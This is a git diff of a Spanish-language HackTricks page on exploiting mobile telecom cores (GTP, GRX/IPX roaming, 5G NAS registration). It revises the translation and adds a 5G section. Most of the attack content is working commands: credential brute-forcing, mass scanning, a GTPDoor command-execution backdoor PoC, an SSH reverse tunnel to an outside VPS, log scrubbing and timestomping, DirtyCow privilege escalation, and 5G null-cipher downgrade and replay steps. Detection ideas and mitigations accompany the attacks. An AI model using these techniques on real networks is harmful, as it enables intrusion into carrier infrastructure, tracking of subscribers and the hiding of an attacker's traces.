diff --git a/src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md b/src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md index fac39628d..0e263566c 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md +++ b/src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md @@ -1,27 +1,27 @@ -# Explotación de Redes de Telecomunicaciones (GTP / Entornos de Roaming) +# Explotación de redes de telecomunicaciones (GTP / Roaming Environments) {{#include ../../banners/hacktricks-training.md}} > [!NOTE] -> Los protocolos de núcleo móvil (Protocolo de Túnel GPRS – GTP) a menudo atraviesan espinas dorsales de roaming GRX/IPX semi-confiables. Debido a que se transmiten por UDP sin casi ninguna autenticación, **cualquier punto de apoyo dentro de un perímetro de telecomunicaciones puede generalmente alcanzar directamente los planos de señalización central**. Las siguientes notas recopilan trucos ofensivos observados en la naturaleza contra SGSN/GGSN, PGW/SGW y otros nodos EPC. +> Los protocolos del core móvil (GPRS Tunnelling Protocol – GTP) a menudo atraviesan backbones de roaming semi-confiables GRX/IPX. Debido a que circulan sobre UDP con casi ninguna autenticación, **cualquier acceso dentro del perímetro de una telecom suele poder alcanzar directamente los planos de señalización del core**. Las siguientes notas recopilan trucos ofensivos observados en el wild contra SGSN/GGSN, PGW/SGW y otros nodos EPC. -## 1. Reconocimiento y Acceso Inicial +## 1. Recon & Initial Access -### 1.1 Cuentas OSS / NE por Defecto -Un conjunto sorprendentemente grande de elementos de red de proveedores se envía con usuarios SSH/Telnet codificados como `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Una lista de palabras dedicada aumenta drásticamente el éxito del ataque de fuerza bruta: +### 1.1 Default OSS / NE Accounts +Un número sorprendentemente grande de elementos de red de proveedores se entrega con usuarios SSH/Telnet hard-coded como `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Una wordlist dedicada aumenta dramáticamente el éxito del brute-force: ```bash hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt ``` -Si el dispositivo expone solo un VRF de gestión, pivotea a través de un host de salto primero (ver sección «SGSN Emu Tunnel» a continuación). +Si el dispositivo expone solo una VRF de gestión, pivota primero a través de un jump host (ver la sección «SGSN Emu Tunnel» más abajo). -### 1.2 Descubrimiento de Hosts dentro de GRX/IPX -La mayoría de los operadores de GRX aún permiten **ICMP echo** a través de la red troncal. Combina `masscan` con las sondas UDP `gtpv1` integradas para mapear rápidamente los oyentes de GTP-C: +### 1.2 Descubrimiento de hosts dentro de GRX/IPX +La mayoría de los operadores GRX todavía permiten **ICMP echo** a través del backbone. Combina `masscan` con las sondas UDP `gtpv1` integradas para mapear rápidamente los listeners GTP-C: ```bash masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55 ``` -## 2. Enumerando Suscriptores – `cordscan` +## 2. Enumeración de suscriptores – `cordscan` -La siguiente herramienta de Go crea paquetes de **GTP-C Create PDP Context Request** y registra las respuestas. Cada respuesta revela el actual **SGSN / MME** que atiende el IMSI consultado y, a veces, el PLMN visitado por el suscriptor. +La siguiente herramienta en Go genera paquetes **GTP-C Create PDP Context Request** y registra las respuestas. Cada respuesta revela el **SGSN / MME** actual que atiende el IMSI consultado y, a veces, el PLMN visitado por el suscriptor. ```bash # Build GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan @@ -29,20 +29,20 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan # Usage (typical): ./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap ``` -Banderas clave: +Key flags: - `--imsi` IMSI del suscriptor objetivo -- `--oper` Hogar / HNI (MCC+MNC) -- `-w` Escribir paquetes en bruto a pcap +- `--oper` Home / HNI (MCC+MNC) +- `-w` Escribe paquetes raw a pcap -Constantes importantes dentro del binario pueden ser parcheadas para ampliar los escaneos: +Constantes importantes dentro del binario pueden ser parcheadas para ampliar los scans: ``` pingtimeout = 3 // seconds before giving up pco = 0x218080 common_tcp_ports = "22,23,80,443,8080" ``` -## 3. Ejecución de Código sobre GTP – `GTPDoor` +## 3. Ejecución de código sobre GTP – `GTPDoor` -`GTPDoor` es un pequeño servicio ELF que **vincula UDP 2123 y analiza cada paquete GTP-C entrante**. Cuando la carga útil comienza con una etiqueta precompartida, el resto se descifra (AES-128-CBC) y se ejecuta a través de `/bin/sh -c`. La stdout/stderr se exfiltran dentro de los mensajes de **Echo Response** para que nunca se cree una sesión externa. +`GTPDoor` es un pequeño servicio ELF que **escucha en UDP 2123 y analiza cada paquete GTP-C entrante**. Cuando la carga útil comienza con una etiqueta precompartida, el resto se descifra (AES-128-CBC) y se ejecuta vía `/bin/sh -c`. El stdout/stderr se exfiltra dentro de mensajes **Echo Response** para que nunca se cree una sesión saliente. Paquete PoC mínimo (Python): ```python @@ -53,39 +53,39 @@ enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00")) print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc)) ``` Detección: -* cualquier host que envíe **Solicitudes de Eco desbalanceadas** a las IPs de SGSN -* bandera de versión GTP configurada en 1 mientras el tipo de mensaje = 1 (Eco) – desviación de la especificación +* cualquier host que envíe **unbalanced Echo Requests** a las IPs de SGSN +* bandera de versión GTP establecida en 1 mientras el tipo de mensaje = 1 (Echo) – desviación respecto a la especificación -## 4. Pivotando a través del núcleo +## 4. Pivoting a través del Core ### 4.1 `sgsnemu` + SOCKS5 -`OsmoGGSN` envía un emulador de SGSN capaz de **establecer un contexto PDP hacia un GGSN/PGW real**. Una vez negociado, Linux recibe una nueva interfaz `tun0` accesible desde el par de roaming. +`OsmoGGSN` incluye un emulador de SGSN capaz de **establecer un PDP context hacia un GGSN/PGW real**. Una vez negociado, Linux recibe una nueva interfaz `tun0` accesible desde el roaming peer. ```bash sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \ -APN internet -c 1 -d ip route add 172.16.0.0/12 dev tun0 microsocks -p 1080 & # internal SOCKS proxy ``` -Con un correcto hair-pinning de firewall, este túnel elude VLANs solo de señalización y te lleva directamente al **data plane**. +Con un firewall hair-pinning adecuado, este túnel evita VLANs solo de señalización y te coloca directamente en el **data plane**. -### 4.2 Túnel SSH Inverso a través del Puerto 53 -DNS está casi siempre abierto en infraestructuras de roaming. Expón un servicio SSH interno a tu VPS escuchando en :53 y regresa más tarde desde casa: +### 4.2 SSH Reverse Tunnel over Port 53 +DNS casi siempre está abierto en infraestructuras de roaming. Expón un servicio SSH interno en tu VPS escuchando en :53 y regresa más tarde desde casa: ```bash ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com ``` -Verifica que `GatewayPorts yes` esté habilitado en el VPS. +Compruebe que `GatewayPorts yes` esté habilitado en el VPS. -## 5. Canales Encubiertos +## 5. Canales encubiertos | Canal | Transporte | Decodificación | Notas | -|-------|------------|----------------|-------| -| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | clave de 4 bytes + fragmentos de 14 bytes (XOR) | oyente pasivo puro, sin tráfico saliente | -| DNS – `NoDepDNS` | UDP 53 | XOR (clave = `funnyAndHappy`) codificado en octetos de A-registro | observa el subdominio `*.nodep` | -| GTP – `GTPDoor` | UDP 2123 | blob AES-128-CBC en IE privado | se mezcla con el tráfico legítimo de GTP-C | +|---------|-----------|----------|-------| +| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | escucha pasiva pura, sin tráfico saliente | +| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | vigila el subdominio `*.nodep` | +| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | se mezcla con el tráfico legítimo de GTP | -Todos los implantes implementan watchdogs que **timestomp** sus binarios y se reinician si se caen. +All implants implement watchdogs that **timestomp** their binaries and re-spawn if se bloquean. -## 6. Hoja de Trucos de Evasión de Defensa +## 6. Cheatsheet de Defense Evasion ```bash # Remove attacker IPs from wtmp utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp @@ -100,7 +100,7 @@ printf '\0' > /proc/$$/comm # appears as [kworker/1] touch -r /usr/bin/time /usr/bin/chargen # timestomp setenforce 0 # disable SELinux ``` -## 7. Escalación de Privilegios en NE Legado +## 7. Escalada de privilegios en NE heredado ```bash # DirtyCow – CVE-2016-5195 gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd @@ -116,25 +116,132 @@ Consejo de limpieza: userdel firefart 2>/dev/null rm -f /tmp/sh ; history -c ``` -## 8. Caja de Herramientas +## 8. Caja de herramientas -* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – herramientas personalizadas descritas en secciones anteriores. +* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – custom tooling descrito en secciones previas. * `FScan` : barridos TCP de intranet (`fscan -p 22,80,443 10.0.0.0/24`) -* `Responder` : LLMNR/NBT-NS WPAD malicioso -* `Microsocks` + `ProxyChains` : pivoteo ligero SOCKS5 -* `FRP` (≥0.37) : travesía NAT / puenteo de activos +* `Responder` : LLMNR/NBT-NS rogue WPAD +* `Microsocks` + `ProxyChains` : ligero SOCKS5 pivoting +* `FRP` (≥0.37) : NAT traversal / asset bridging + +## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay + +El procedimiento de registro 5G se ejecuta sobre NAS (Non-Access Stratum) encima de NGAP. Hasta que la seguridad NAS se activa mediante Security Mode Command/Complete, los mensajes iniciales no están autenticados ni cifrados. Esta ventana pre-seguridad permite múltiples vectores de ataque cuando puedes observar o manipular el tráfico N2 (por ejemplo, on-path dentro del core, rogue gNB, o en un testbed). + +Flujo de registro (simplificado): +- Registration Request: UE envía SUCI (SUPI encriptado) y capacidades. +- Authentication: AMF/AUSF envían RAND/AUTN; UE devuelve RES*. +- Security Mode Command/Complete: se negocian y activan integridad y cifrado NAS. +- PDU Session Establishment: configuración IP/QoS. + +Consejos para el laboratorio (no RF): +- Core: la implementación por defecto de Open5GS es suficiente para reproducir los flujos. +- UE: simulador o UE de prueba; decodificar con Wireshark. +- Herramientas activas: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB). +- Filtros de visualización útiles en Wireshark: +- ngap.procedure_code == 15 (InitialUEMessage) +- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request) + +### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI +Esperado: UE/USIM debe transmitir SUCI (SUPI encrypted with the home-network public key). Encontrar un SUPI/IMSI en texto plano en el Registration Request indica un defecto de privacidad que permite el tracking persistente del suscriptor. + +Cómo probar: +- Captura el primer mensaje NAS en InitialUEMessage e inspecciona el Mobile Identity IE. +- Comprobaciones rápidas en Wireshark: +- Debe decodificarse como SUCI, no como IMSI. +- Ejemplos de filtros: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` debería existir; la ausencia junto con la presencia de `imsi` indica leakage. + +Qué recopilar: +- MCC/MNC/MSIN si se exponen; registrar por UE y rastrear a través del tiempo/ubicaciones. + +Mitigación: +- Forzar UEs/USIMs que usen solo SUCI; alertar sobre cualquier IMSI/SUPI en el NAS inicial. + +### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0) +Antecedentes: +- UE anuncia EEA (encryption) y EIA (integrity) soportadas en el UE Security Capability IE del Registration Request. +- Mapas comunes: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 son algoritmos null. + +Problema: +- Debido a que el Registration Request no está protegido por integridad, un atacante on-path puede limpiar bits de capacidad para forzar la selección de EEA0/EIA0 más adelante durante Security Mode Command. Algunos stacks permiten erróneamente algoritmos null fuera de servicios de emergencia. + +Pasos ofensivos: +- Interceptar InitialUEMessage y modificar el NAS UE Security Capability para anunciar solo EEA0/EIA0. +- Con Sni5Gect, enganchar el mensaje NAS y parchear los bits de capacidad antes de reenviar. +- Observar si el AMF acepta null ciphers/integrity y completa Security Mode con EEA0/EIA0. + +Verificación/visibilidad: +- En Wireshark, confirmar los algoritmos seleccionados después de Security Mode Command/Complete. +- Ejemplo de salida de sniffer pasivo: +``` +Encyrption in use [EEA0] +Integrity in use [EIA0, EIA1, EIA2] +SUPI (MCC+MNC+MSIN) 9997000000001 +``` +Mitigaciones (obligatorias): +- Configurar AMF/policy para rechazar EEA0/EIA0 excepto donde sea estrictamente obligatorio (p. ej., llamadas de emergencia). +- Preferir aplicar EEA2/EIA2 como mínimo; registrar y generar alertas ante cualquier contexto de seguridad NAS que negocie algoritmos nulos. + +### 9.3 Replay of initial Registration Request (pre-security NAS) +Porque el NAS inicial carece de integridad y frescura, un InitialUEMessage+Registration Request capturado puede ser replayed al AMF. + +Regla PoC para 5GReplay para reenviar replays coincidentes: +```xml + + + + + + + + + + + +``` +Qué observar: +- Whether AMF accepts the replay and proceeds to Authentication; lack of freshness/context validation indicates exposure. + +Mitigaciones: +- Enforce replay protection/context binding at AMF; rate-limit and correlate per-GNB/UE. + +### 9.4 Tooling pointers (reproducible) +- Open5GS: levantar un AMF/SMF/UPF para emular el core; observar N2 (NGAP) y NAS. +- Wireshark: verificar las decodificaciones de NGAP/NAS; aplicar los filtros anteriores para aislar Registration. +- 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule. +- Sni5Gect: live sniff/modify/inject NAS control-plane to coerce null algorithms or perturb authentication sequences. + +### 9.5 Defensive checklist +- Continuously inspect Registration Request for plaintext SUPI/IMSI; block offending devices/USIMs. +- Reject EEA0/EIA0 except for narrowly defined emergency procedures; require at least EEA2/EIA2. +- Detect rogue or misconfigured infrastructure: unauthorized gNB/AMF, unexpected N2 peers. +- Alert on NAS security modes that result in null algorithms or frequent replays of InitialUEMessage. --- -## Ideas de Detección -1. **Cualquier dispositivo que no sea un SGSN/GGSN estableciendo Solicitudes de Crear Contexto PDP**. -2. **Puertos no estándar (53, 80, 443) recibiendo apretones de manos SSH** desde IPs internas. -3. **Solicitudes de Eco frecuentes sin Respuestas de Eco correspondientes** – podría indicar balizas de GTPDoor. -4. **Alta tasa de tráfico de respuesta de eco ICMP con campos de identificador/secuencia grandes y no cero**. +## Ideas de detección +1. **Cualquier dispositivo distinto de un SGSN/GGSN estableciendo Create PDP Context Requests**. +2. **Puertos no estándar (53, 80, 443) recibiendo SSH handshakes** desde IPs internas. +3. **Frecuentes Echo Requests sin Echo Responses correspondientes** – puede indicar GTPDoor beacons. +4. **Alta tasa de tráfico ICMP echo-reply con campos de identifier/sequence grandes y no cero**. +5. 5G: **InitialUEMessage que transporta NAS Registration Requests repetidos desde endpoints idénticos** (señal de replay). +6. 5G: **NAS Security Mode negociando EEA0/EIA0** fuera de contextos de emergencia. -## Referencias +## References -- [Palo Alto Unit42 – Infiltración de Redes de Telecomunicaciones Globales](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/) -- 3GPP TS 29.060 – Protocolo de Túnel GPRS (v16.4.0) +- [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/) +- 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0) - 3GPP TS 29.281 – GTPv2-C (v17.6.0) +- [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol) +- 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS +- 3GPP TS 33.501 – Security architecture and procedures for 5G System {{#include ../../banners/hacktricks-training.md}}